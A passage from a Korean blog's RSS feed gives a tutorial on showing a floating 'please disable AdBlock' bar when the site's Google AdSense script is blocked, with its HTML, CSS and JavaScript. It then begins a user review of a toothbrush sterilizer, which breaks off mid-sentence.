&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;편집기 위치:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;u&gt;&amp;gt; 꾸미기 - 스킨 편집 - html 편집&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;스크립트 삽입 위치:&lt;br /&gt;&lt;u&gt;&amp;gt; ctrl + f로 /s_t3 검색 - &amp;lt;/s_t3&amp;gt; 바로 위에 삽입&lt;/u&gt;&lt;br /&gt;(티스토리 본문의 끝에 해당 -&amp;gt; 제일 마지막에 로드됨)&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;795&quot; data-origin-height=&quot;724&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;455&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eaceXw/btrj1YqqHRs/nQD1NRSklzqzE2o0zWzVq0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eaceXw/btrj1YqqHRs/nQD1NRSklzqzE2o0zWzVq0/img.png&quot; data-alt=&quot;삽입 위치&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eaceXw/btrj1YqqHRs/nQD1NRSklzqzE2o0zWzVq0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeaceXw%2Fbtrj1YqqHRs%2FnQD1NRSklzqzE2o0zWzVq0%2Fimg.png&quot; data-origin-width=&quot;795&quot; data-origin-height=&quot;724&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;455&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;삽입 위치&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 어떻게 처리했냐면...&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나의 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AdBlock 탐지 시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어떻게 처리했냐면...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하단에 플로팅 바를 생성하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AdBlock 꺼달라고 빌었다...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;글 다 읽을 때 까지...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본 스크립트에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가된 내용은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;추가된 내용:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;1. 하단 플로팅 바에 해당하는 div 생성(&amp;lt;div class=&quot;floatdiv&quot;&amp;gt;&amp;lt;/div&amp;gt;)&lt;br /&gt;&lt;br /&gt;2. CSS로 스타일 지정&lt;br /&gt;- 다른 건 자유지만, display=&quot;none&quot;; 으로 안보이게 설정&lt;br /&gt;&lt;br /&gt;3. 탐지 시 div 보이도록 수정&lt;br /&gt;- display=&quot;block&quot;;&lt;br /&gt;&lt;br /&gt;4. 출력할 내용 추가&lt;br /&gt;- 내가 이걸 왜 스크립트로 했을 까...&lt;br /&gt;&lt;s&gt;- 실력없는 놈은...이래서 안돼...ㅠㅠ&lt;/s&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. 플로팅 바를 위한 div 태그 생성&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;간단하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아까 스크립트 위에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가해줬다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어차피 하단에 고정되어&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스크롤해도 따라다니기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;삽입 위치는 상관없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1636208575624&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;div class=&quot;floatdiv&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. CSS 스타일 지정&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;floatdiv의 스타일을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마음대로 꾸미면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만 하단에 고정 시키기 위해서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중요한 속성은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;CSS 필수 속성:&lt;/b&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;- position: fixed;&amp;nbsp; &amp;nbsp; &amp;nbsp; // 따라다니게 하려면 필수&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;- z-index: 10;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // 다른 태그보다 최상단에 출력&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;- width: 100%;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // 넓이는 화면 가로 길이&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;- text-align: center; // div 내부 가운데 정렬&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;- display: none;&amp;nbsp; &amp;nbsp; &amp;nbsp; // 일단 안보이게 설정&lt;/b&gt;&lt;/u&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 내가 사용한 CSS 이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1636208641928&quot; class=&quot;css&quot; data-ke-language=&quot;css&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;.floatdiv {
  position:fixed;
  z-index:10;
  overflow:hidden;
  background-color: #f0f0f0;
  width:100%;
  bottom:0;
  margin:0;
  padding:0;
  text-align:center;
  display:none;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;적용 위치는 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;CSS 편집기 위치:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;u&gt;&amp;gt; 꾸미기 - 스킨 편집 - html 편집 - CSS&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;CSS 삽입 위치:&lt;br /&gt;&lt;u&gt;&amp;gt; 그냥 제일 아래, 맨 끝...&lt;/u&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;251&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;209&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/k0tkb/btrj4mKuPKP/IAmr1LWUAfh2vokP3l43ZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/k0tkb/btrj4mKuPKP/IAmr1LWUAfh2vokP3l43ZK/img.png&quot; data-alt=&quot;CSS 내용&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/k0tkb/btrj4mKuPKP/IAmr1LWUAfh2vokP3l43ZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fk0tkb%2Fbtrj4mKuPKP%2FIAmr1LWUAfh2vokP3l43ZK%2Fimg.png&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;251&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;209&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;CSS 내용&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. 스크립트 수정&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 AdBlock 탐지 시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;div를 보이게 설정하고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 내용을 출력하도록&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스크립트를 수정해야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 처럼 하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1636209082295&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;
function errorcheck () {
	if (!window.adsbygoogle.hasOwnProperty('push')) {
		console.log(&quot;AdBlock Detected&quot;);
		/* 하단 고정용 DIV 찾기 */
		const floatdiv = document.getElementsByClassName('floatdiv').item(0);
		/* DIV를 출력하도록 스타일 변경 */
		floatdiv.style.display=&quot;block&quot;;
        
		/* DIV에 출력할 내용 입력 */
		const span = document.createElement('span');
		span.setAttribute('style', 'white-space: pre;');
		span.innerHTML = '&amp;lt;h4 style=&quot;color:#999;margin:10px auto;text-align:center;&quot;&amp;gt;글을 읽어주셔서 감사합니다.&amp;lt;/h3&amp;gt;&amp;lt;h4 style=&quot;font-weight:500;margin:10px auto;text-align:center;&quot;&amp;gt;이 블로그는 Google 광고 수익으로 콘텐츠를 만들고 있습니다.&amp;lt;/h1&amp;gt;&amp;lt;hr style=&quot; display: block;margin-top: 0.5em;margin-bottom: 0.5em;margin-left: auto;margin-right: auto; border:1px solid #CCC; width: 25%;text-align:center;&quot;&amp;gt;&amp;lt;span style=&quot;text-align:center;&quot;&amp;gt;AdBlock의 사용을 잠시 멈춰 주세요.&amp;lt;/span&amp;gt;&amp;lt;div onmouseover=&quot;this.style.opacity=.5;&quot; onmouseout=&quot;this.style.opacity=1;&quot; style=&quot;cursor:pointer; border-radius:15px;padding:10px 60px;width:510px;margin:10px auto;background-color:#1ef09975;&quot; onclick=&quot;window.location.reload();&quot;&amp;gt;AdBlock Pause/비활성화 후에 이 곳을 클릭해주세요. 새로고침 됩니다.(F5)&amp;lt;/div&amp;gt;';
		floatdiv.appendChild(span);
	}
}
errorcheck();
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위에서 DIV를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTML에 입력할 때&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 내용도 입력해놓으면 되는 데...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정신없이 하다보니&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 되있더라...;;;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 끝&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 적용하고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;테스트하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래처럼 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;922&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;480&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ySGHQ/btrj88EssaT/bsxBvu0nNpUD2zcnVhLchk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ySGHQ/btrj88EssaT/bsxBvu0nNpUD2zcnVhLchk/img.png&quot; data-alt=&quot;하단에 뙇. 애드블락 나빠요.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ySGHQ/btrj88EssaT/bsxBvu0nNpUD2zcnVhLchk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FySGHQ%2Fbtrj88EssaT%2FbsxBvu0nNpUD2zcnVhLchk%2Fimg.png&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;922&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;480&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;하단에 뙇. 애드블락 나빠요.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Tip.../블로그</category>
      <category>Adblock</category>
      <category>Adsense</category>
      <category>BlockAdBlock</category>
      <category>광고차단</category>
      <category>애드블락</category>
      <category>애드센스</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/160</guid>
      <comments>https://chmodi.tistory.com/160#entry160comment</comments>
      <pubDate>Sat, 6 Nov 2021 23:49:01 +0900</pubDate>
    </item>
    <item>
      <title>칫솔 살균기 커비랑 CVR-HT20 실사용 후기</title>
      <link>https://chmodi.tistory.com/159</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;많은 칫솔 살균기 제품이 있지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;건조가 된다는 제품들 중&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무선 건조가 되는 제품은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;많이 없더라구요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;커비랑 CVR-HT20은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;1시간 동안&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;무선 건조가 가능&lt;/b&gt;&lt;/u&gt;해서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구매 후&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만족스럽게 사용하고 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;살균기능&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;커비랑 CVR-HT20은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 가지 방법을 통해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;완전 살균을 하더라구요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;4000&quot; data-origin-height=&quot;3000&quot; data-filename=&quot;1.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vjPbY/btrj9kEFRWC/gewYtxkFkmKPWkx3ZAxjB1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vjPbY/btrj9kEFRWC/gewYtxkFkmKPWkx3ZAxjB1/img.jpg&quot; data-alt=&quot;살균 중 :)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vjPbY/btrj9kEFRWC/gewYtxkFkmKPWkx3ZAxjB1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvjPbY%2Fbtrj9kEFRWC%2FgewYtxkFkmKPWkx3ZAxjB1%2Fimg.jpg&quot; data-origin-width=&quot;4000&quot; data-origin-height=&quot;3000&quot; data-filename=&quot;1.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;살균 중 :)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- UV-C LED 살균&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미 많은,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아마 대부분의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;살균기에서 사용하는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;UV-C LED 살균&lt;/b&gt;&lt;/u&gt;입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;커비랑 판매 페이지에서는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;99.99% 살균이 된다고 하네요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;407&quot; data-origin-height=&quot;544&quot; data-filename=&quot;1.png&quot; width=&quot;400&quot; height=&quot;535&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oT8Wg/btrj3oO6TEW/lJRI6jYxCs8RINdROOmSpk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oT8Wg/btrj3oO6TEW/lJRI6jYxCs8RINdROOmSpk/img.png&quot; data-alt=&quot;커비랑 판매 페이지에서 가져옴&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oT8Wg/btrj3oO6TEW/lJRI6jYxCs8RINdROOmSpk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoT8Wg%2Fbtrj3oO6TEW%2FlJRI6jYxCs8RINdROOmSpk%2Fimg.png&quot; data-origin-width=&quot;407&quot; data-origin-height=&quot;544&quot; data-filename=&quot;1.png&quot; width=&quot;400&quot; height=&quot;535&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;커비랑 판매 페이지에서 가져옴&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(&lt;s&gt;솔직히...&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;살균이 얼마나 되는 지는&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;직접 실험하기 전까지는&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;알 수가...&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;그냥 다니는 것보다&lt;/s&gt;&lt;/p&gt;
